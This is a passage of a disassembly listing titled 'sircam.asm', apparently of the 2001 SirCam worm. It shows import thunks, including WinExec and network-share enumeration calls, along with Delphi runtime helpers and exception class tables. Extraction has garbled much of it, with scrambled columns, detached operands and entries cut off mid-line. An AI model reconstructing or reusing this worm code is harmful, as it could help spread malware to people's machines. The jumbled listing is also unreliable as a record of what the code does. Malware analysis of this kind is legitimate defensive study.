PRESS KEYPAD "+" TO EXPAN FUNCTION j_LoadLibraryA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_MulDiv. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_ReadFile_0. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_RemoveDirectoryA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_SetEndOfFile_0. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_SetFileAttributesA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_SetFilePointer_0. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_SetPriorityClass. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_SetThreadPriority. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_Sleep. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_VerLanguageNameA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_VirtualQuery_0. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_WaitForSingleObject. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_WinExec. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_WriteFile_0. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_WNetEnumResourceA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_WNetOpenEnumA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_CreateBitmap. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_CreateBrushIndirect. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_CreateCompatibleBitmap. PRESS KEYPAD "+" TO EXPAN FUNCTION j_CreateCompatibleDC. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_CreateDIBitmap. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_CreateFontIndirectA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_CreatePalette. PRESS KEYPAD "+" TO EXPAND] sircam.asm Fri Aug 10 12:42:44 2001 158 ; [00000006 BYTES: COLLAPSED FUNCTION j_CreatePenIndirect. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_DeleteDC. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_DeleteObject. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_GetBitmapBits. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_GetCurrentPositionEx. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_GetDIBits. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_GetDeviceCaps. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_GetObjectA. PRESS KEYPAD "+" TO EXPAND] align 4 db 0FFh ; db 25h ; % db 80h ; \200 OFF32 SEGDEF [_idata,41F380] db 0F3h ; ó db 41h ; A db 0 ; align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_GetSystemPaletteEntries. PRESS KEYPAD "+" TO EXPA ND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_GetTextMetricsA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_MoveToEx. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_RealizePalette. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_SelectObject. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_SelectPalette. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_SetBkColor. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_SetBkMode. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_SetROP2. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_SetTextColor. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_StretchBlt. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_UnrealizeObject. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_CreateIcon. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_DestroyIcon. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_DestroyWindow. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_DrawIconEx. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_GetDC. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_GetIconInfo. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_GetSysColor. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_GetSystemMetrics. PRESS KEYPAD "+" TO EXPAND] align 4 db 0FFh ; db 25h ; % db 0D0h ; Ð OFF32 SEGDEF [_idata,41F3D0] db 0F3h ; ó db 41h ; A db 0 ; sircam.asm Fri Aug 10 12:42:44 2001 159 align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_LoadStringA_0. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_MessageBoxA_0. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_ReleaseDC. PRESS KEYPAD "+" TO EXPAND] align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_405E7C sub_405E7C proc near push edx push eax call j_GlobalAlloc push eax call j_GlobalLock retn endp ; CODE XREF: sub_40DBA8+44\031p ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_405E8C sub_405E8C proc near ; CODE XREF: sub_40DBA8+5A\031p push ecx push edx push eax call j_GlobalHandle push eax push eax call j_GlobalUnlock call j_GlobalReAlloc push eax call j_GlobalLock retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_405EA8 sub_405EA8 proc near push eax call j_GlobalHandle push eax push eax call j_GlobalUnlock call j_GlobalFree retn endp ; CODE XREF: sub_40DBA8+2D\031p ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_405EBC proc near ; DATA XREF: CODE:0041A8F0\031o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_405EE1 push dword ptr fs:[eax] sircam.asm Fri Aug 10 12:42:44 2001 mov inc xor pop pop pop mov push 160 fs:[eax], esp ds:dword_41E4E0 eax, eax edx ecx ecx fs:[eax], edx offset loc_405EE8 locret_405EE0: ; CODE XREF: sub_405EBC+2A\031j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_405EE1: ; DATA XREF: sub_405EBC+6\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short locret_405EE0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_405EE8: sub_405EBC ; CODE XREF: sub_405EBC+24\030j ; DATA XREF: sub_405EBC+1F\030o pop ebp retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_405EEC: ; DATA XREF: CODE:0041A8EC\031o sub ds:dword_41E4E0, 1 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ off_405EF4 dd offset dword_41E4D4 ; DATA XREF: DATA:0041DBA8\031o dd 0FFF0h off_405EFC dd offset dword_41E4D4 ; DATA XREF: DATA:0041DC04\031o dd 0FFF1h dd offset dword_41E4D4 ; DATA XREF: DATA:0041DB10\031o dd 0FFF2h off_405F0C dd offset dword_41E4D4 ; DATA XREF: DATA:0041DB08\031o dd 0FFF3h off_405F14 dd offset dword_41E4D4 ; DATA XREF: DATA:0041DB78\031o dd 0FFF4h off_405F1C dd offset dword_41E4D4 ; DATA XREF: DATA:0041DC58\031o dd 0FFF5h off_405F24 dd offset dword_41E4D4 ; DATA XREF: DATA:0041DABC\031o dd 0FFF6h off_405F2C dd offset dword_41E4D4 ; DATA XREF: DATA:0041DC08\031o dd 0FFF7h off_405F34 dd offset dword_41E4D4 ; DATA XREF: DATA:0041DBD0\031o dd 0FFF8h off_405F3C dd offset dword_41E4D4 ; DATA XREF: DATA:0041DAF4\031o dd 0FFF9h off_405F44 dd offset dword_41E4D4 ; DATA XREF: DATA:0041DB18\031o dd 0FFFAh off_405F4C dd offset dword_41E4D4 ; DATA XREF: DATA:0041DC64\031o dd 0FFFBh off_405F54 dd offset dword_41E4D4 ; DATA XREF: DATA:0041DC60\031o dd 0FFFCh off_405F5C dd offset dword_41E4D4 ; DATA XREF: DATA:0041DB7C\031o dd 0FFFDh off_405F64 dd offset dword_41E4D4 ; DATA XREF: DATA:0041DC70\031o dd 0FFFEh off_405F6C dd offset dword_41E4D4 ; DATA XREF: DATA:0041DC80\031o dd 0FFFFh off_405F74 dd offset dword_41E4D4 ; DATA XREF: DATA:0041DBD4\031o dd 0FFE0h off_405F7C dd offset dword_41E4D4 ; DATA XREF: DATA:0041DBE4\031o dd 0FFE1h off_405F84 dd offset dword_41E4D4 ; DATA XREF: DATA:0041DBDC\031o dd 0FFE2h sircam.asm off_405F8C Fri Aug 10 12:42:44 2001 off_405FC4 dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd off_405FCC dd 0FFEAh dd offset dword_41E4D4 off_405F94 off_405F9C off_405FA4 off_405FAC off_405FB4 off_405FBC offset 0FFE3h offset 0FFE4h offset 0FFE5h offset 0FFE6h offset 0FFE7h offset 0FFE8h offset 0FFE9h offset ; DATA XREF: DATA:0041DC7C\031o dword_41E4D4 ; DATA XREF: DATA:0041DC50\031o dword_41E4D4 ; DATA XREF: DATA:0041DB68\031o dword_41E4D4 ; DATA XREF: DATA:0041DB6C\031o dword_41E4D4 ; DATA XREF: DATA:0041DC5C\031o dword_41E4D4 ; DATA XREF: DATA:0041DC78\031o dword_41E4D4 ; DATA XREF: DATA:0041DB0C\031o dword_41E4D4 ; DATA XREF: DATA:0041C14C\031o ; DATA:0041DB1C\031o off_40605C off_406064 dd 0FFDDh dd offset dword_41E4D4 off_40606C dd 0FFDEh dd offset dword_41E4D4 off_406074 dd 0FFDFh dd offset dword_41E4D4 off_40607C dd 0FFC0h dd offset dword_41E4D4 off_406084 dd 0FFC1h dd offset dword_41E4D4 off_405FDC off_405FE4 off_405FEC off_405FF4 off_405FFC off_406004 off_40600C off_406014 off_40601C off_406024 off_40602C off_40603C off_406044 off_40604C off_406054 0FFEBh offset 0FFECh offset 0FFEDh offset 0FFEEh offset 0FFEFh offset 0FFD0h offset 0FFD1h offset 0FFD2h offset 0FFD3h offset 0FFD4h offset 0FFD5h offset 0FFD6h offset 0FFD7h offset 0FFD8h offset 0FFD9h offset 0FFDAh offset 0FFDBh offset 0FFDCh offset dword_41E4D4 dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd off_405FD4 161 ; DATA XREF: DATA:0041C150\031o ; DATA:0041DB80\031o dword_41E4D4 ; DATA XREF: DATA:0041DBBC\031o dword_41E4D4 ; DATA XREF: DATA:0041DBA4\031o dword_41E4D4 ; DATA XREF: DATA:0041DAB8\031o dword_41E4D4 ; DATA XREF: DATA:0041DC88\031o dword_41E4D4 ; DATA XREF: DATA:0041DBF8\031o dword_41E4D4 ; DATA XREF: DATA:0041DB88\031o dword_41E4D4 ; DATA XREF: DATA:0041DB3C\031o dword_41E4D4 ; DATA XREF: DATA:0041DC20\031o dword_41E4D4 ; DATA XREF: DATA:0041DAD8\031o dword_41E4D4 ; DATA XREF: DATA:0041DC0C\031o dword_41E4D4 ; DATA XREF: DATA:0041DB98\031o dword_41E4D4 ; DATA XREF: DATA:0041DBF4\031o dword_41E4D4 ; DATA XREF: DATA:0041DC40\031o dword_41E4D4 ; DATA XREF: DATA:0041DB20\031o dword_41E4D4 ; DATA XREF: DATA:0041DC28\031o dword_41E4D4 ; DATA XREF: DATA:0041DAE8\031o dword_41E4D4 ; DATA XREF: DATA:0041DB40\031o dword_41E4D4 ; DATA XREF: DATA:0041C160\031o ; DATA:0041DC74\031o ; DATA XREF: DATA:0041C164\031o ; DATA:0041DBC0\031o ; DATA XREF: DATA:0041C168\031o ; DATA:0041DC4C\031o ; DATA XREF: DATA:0041C16C\031o ; DATA:0041DAB4\031o ; DATA XREF: DATA:0041C170\031o ; DATA:0041DAEC\031o ; DATA XREF: DATA:0041C174\031o sircam.asm Fri Aug 10 12:42:44 2001 162 ; DATA:0041DC8C\031o ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn 0FFh ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 off_40608C dd offset dword_41E4D4 ; DATA XREF: DATA:0041C178\031o ; DATA:0041DC3C\031o ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 0FFh, 2 dup(0) off_406094 dd offset dword_41E4D4 ; DATA XREF: DATA:0041C17C\031o ; DATA:0041DACC\031o dd 0FFC4h off_40609C dd offset dword_41E4D4 ; DATA XREF: DATA:0041C180\031o ; DATA:0041DB14\031o dd 0FFC5h off_4060A4 dd offset dword_41E4D4 ; DATA XREF: DATA:0041C184\031o ; DATA:0041DBC4\031o dd 0FFC6h off_4060AC dd offset dword_41E4D4 ; DATA XREF: DATA:0041C188\031o ; DATA:0041DC44\031o dd 0FFC7h off_4060B4 dd offset dword_41E4D4 ; DATA XREF: DATA:0041C18C\031o ; DATA:0041DC68\031o dd 0FFC8h off_4060BC dd offset dword_41E4D4 ; DATA XREF: DATA:0041C190\031o ; DATA:0041DB8C\031o dd 0FFC9h off_4060C4 dd offset dword_41E4D4 ; DATA XREF: DATA:0041C194\031o ; DATA:0041DAC0\031o ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retf 0FFh ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 off_4060CC dd offset dword_41E4D4 ; DATA XREF: DATA:0041C198\031o ; DATA:0041DB50\031o ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retf ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 0FFh, 2 dup(0) off_4060D4 dd offset dword_41E4D4 ; DATA XREF: DATA:0041C19C\031o ; DATA:0041DBAC\031o dd 0FFCCh off_4060DC dd offset dword_41E4D4 ; DATA XREF: DATA:0041C1A0\031o ; DATA:0041DBD8\031o dd 0FFCDh off_4060E4 dd offset dword_41E4D4 ; DATA XREF: DATA:0041C1A4\031o ; DATA:0041DBA0\031o dd 0FFCEh off_4060EC dd offset dword_41E4D4 ; DATA XREF: DATA:0041C1A8\031o ; DATA:0041DB2C\031o dd 0FFCFh off_4060F4 dd offset dword_41E4D4 ; DATA XREF: DATA:0041C1AC\031o ; DATA:0041DBB0\031o dd 0FFB0h off_4060FC dd offset dword_41E4D4 ; DATA XREF: DATA:0041C1B0\031o ; DATA:0041DC10\031o dd 0FFB1h off_406104 dd offset dword_41E4D4 ; DATA XREF: DATA:0041C1B4\031o ; DATA:0041DAC4\031o dd 0FFB2h off_40610C dd offset dword_41E4D4 ; DATA XREF: DATA:0041C1B8\031o ; DATA:0041DB34\031o dd 0FFB3h off_406114 dd offset dword_41E4D4 ; DATA XREF: DATA:0041C1BC\031o ; DATA:0041DB64\031o dd 0FFB4h off_40611C dd offset dword_41E4D4 ; DATA XREF: DATA:0041C1C0\031o ; DATA:0041DBEC\031o sircam.asm Fri Aug 10 12:42:44 2001 off_406124 dd 0FFB5h dd offset dword_41E4D4 off_40612C dd 0FFB6h dd offset dword_41E4D4 off_406134 dd 0FFB7h dd offset dword_41E4D4 off_40613C dd 0FFB8h dd offset dword_41E4D4 off_406144 dd 0FFB9h dd offset dword_41E4D4 off_40614C dd 0FFBAh dd offset dword_41E4D4 off_406154 dd 0FFBBh dd offset dword_41E4D4 off_40615C dd 0FFBCh dd offset dword_41E4D4 off_406164 dd 0FFBDh dd offset dword_41E4D4 off_40616C dd 0FFBEh dd offset dword_41E4D4 off_406174 dd 0FFBFh dd offset dword_41E4D4 off_40617C dd 0FFA0h dd offset dword_41E4D4 off_406184 dd 0FFA1h dd offset dword_41E4D4 163 ; DATA XREF: DATA:0041C1C4\031o ; DATA:0041DC14\031o ; DATA XREF: DATA:0041C1C8\031o ; DATA:0041DC1C\031o ; DATA XREF: DATA:0041C1CC\031o ; DATA:0041DBC8\031o ; DATA XREF: DATA:0041C1D0\031o ; DATA:0041DAFC\031o ; DATA XREF: DATA:0041C1D4\031o ; DATA:0041DBE0\031o ; DATA XREF: DATA:0041C1D8\031o ; DATA:0041DB74\031o ; DATA XREF: DATA:0041C1DC\031o ; DATA:0041DAE4\031o ; DATA XREF: DATA:0041C1E0\031o ; DATA:0041DAF8\031o ; DATA XREF: DATA:0041C1E4\031o ; DATA:0041DB00\031o ; DATA XREF: DATA:0041C1E8\031o ; DATA:0041DAC8\031o ; DATA XREF: DATA:0041C1EC\031o ; DATA:0041DC00\031o ; DATA XREF: DATA:0041C1F0\031o ; DATA:0041DADC\031o ; DATA XREF: DATA:0041C1F4\031o ; DATA:0041DC48\031o dd 0FFA2h ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40618C proc near ; DATA XREF: CODE:0041A908\031o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_4061B1 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_41E4E4 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4061B8 locret_4061B0: ; CODE XREF: sub_40618C+2A\031j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4061B1: ; DATA XREF: sub_40618C+6\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short locret_4061B0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 loc_4061B8: sub_40618C 164 ; CODE XREF: sub_40618C+24\030j ; DATA XREF: sub_40618C+1F\030o pop ebp retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_4061BC: ; DATA XREF: CODE:0041A904\031o sub ds:dword_41E4E4, 1 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ off_4061C4 dd offset dword_4061C8 ; DATA XREF: CODE:004061EC\031o dword_4061C8 dd 4654090Ah, 4E656C69h, 90656D61h ; DATA XREF: CODE:004061C4\030o off_4061D4 dd offset dword_4061D8 ; DATA XREF: sub_417928+58\031r ; sub_417928+28A\031r dword_4061D8 dd 53540A0Eh, 63726165h, 63655268h, 158h, 1 ; DATA XREF: CODE:004061D4 \030o dd offset off_4061C4 dd 0Ch off_4061F4 dd offset dword_406240 ; DATA XREF: CODE:00406284\031o ; CODE:0040633C\031o ... align 10h dd offset dword_406240 dd 4 dup(0) dd offset dword_406252 dd 0Ch dd offset off_40100C dd offset loc_402CA0 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402CB4 dd offset nullsub_4 dd offset loc_402B70 dd offset sub_402B84 dd offset sub_402BCC dword_406240 dd 0Eh, 10000h ; DATA XREF: CODE:004061F4\030o ; CODE:00406200\030o db 2 dup(0) dd offset off_401000 dd 4 dword_406252 dd 63784509h, 69747065h ; DATA XREF: CODE:00406214\030o db 6Fh, 6Eh off_40625C dd offset dword_4062A8 ; DATA XREF: CODE:004062E0\031o ; CODE:00406768\031o dd 7 dup(0) dd offset dword_4062A8 dd 10h dd offset off_4061F4 dd offset loc_402CA0 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402CB4 dd offset nullsub_4 dd offset loc_402B70 dd offset loc_4095DC dd offset sub_402BCC dword_4062A8 dd 6548450Eh, 78457061h, 74706563h, 906E6F69h ; DATA XREF: CODE:0040625C \030o ; CODE:0040627C\030o off_4062B8 dd offset dword_406304 ; DATA XREF: sub_409B0C+27\031r ; CODE:0040B828\031o dd 7 dup(0) dd offset dword_406304 dd 10h dd offset off_40625C dd offset loc_402CA0 dd offset nullsub_2 sircam.asm dword_406304 \030o Fri Aug 10 12:42:44 2001 dd dd dd dd dd dd dd offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset loc_4095DC offset sub_402BCC 754F450Ch, 4D664F74h, 726F6D65h, 408D79h ; DATA XREF: CODE:004062B8 off_406314 dd offset dword_406360 dword_406360 dd dd dd dd dd dd dd dd dd dd dd dd dd off_40636C dd dword_4063B8 dd dd dd dd dd dd dd dd dd dd dd dd dd off_4063C4 dword_406410 dd dd dd dd dd dd dd dd dd dd dd dd dd dd off_406424 dd dd dd dd dd dd dd dd dd dd dd dd 165 ; CODE:004062D8\030o ; DATA XREF: sub_409608+2D\031r ; sub_409608+4C\031r 7 dup(0) offset dword_406360 10h offset off_4061F4 offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_402BCC 6E49450Bh, 4574754Fh, 726F7272h ; DATA XREF: CODE:00406314\030o ; CODE:00406334\030o offset dword_4063B8 ; DATA XREF: CODE:004063EC\031o ; CODE:0040644C\031o ... 7 dup(0) offset dword_4063B8 10h offset off_4061F4 offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_402BCC 78454509h, 6E726574h, 0C08B6C61h ; DATA XREF: CODE:0040636C\030o ; CODE:0040638C\030o offset dword_406410 ; DATA XREF: sub_409A30+82\031r 7 dup(0) offset dword_406410 10h offset off_40636C offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_402BCC 78454512h, 6E726574h, 78456C61h, 74706563h, 906E6F69h ; DATA XREF: CODE:004063C4\030o ; CODE:004063E4\030o ... offset dword_406470 ; DATA XREF: CODE:004064A4\031o ; CODE:004064FC\031o ... 7 dup(0) offset dword_406470 10h offset off_40636C offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 sircam.asm dword_406470 dword_4064C8 dword_406520 dword_406578 \030o Fri Aug 10 12:42:44 2001 166 dd offset sub_402BCC dd 6E494509h, 72724574h, 0C08B726Fh ; DATA XREF: CODE:00406424\030o ; CODE:00406444\030o dd offset dword_4064C8 dd 7 dup(0) dd offset dword_4064C8 dd 10h dd offset off_406424 dd offset loc_402CA0 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402CB4 dd offset nullsub_4 dd offset loc_402B70 dd offset sub_402B84 dd offset sub_402BCC dd 6944450Ah, 5A794276h, 906F7265h ; DATA XREF: CODE:0040647C\030o ; CODE:0040649C\030o ... dd offset dword_406520 dd 7 dup(0) dd offset dword_406520 dd 10h dd offset off_406424 dd offset loc_402CA0 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402CB4 dd offset 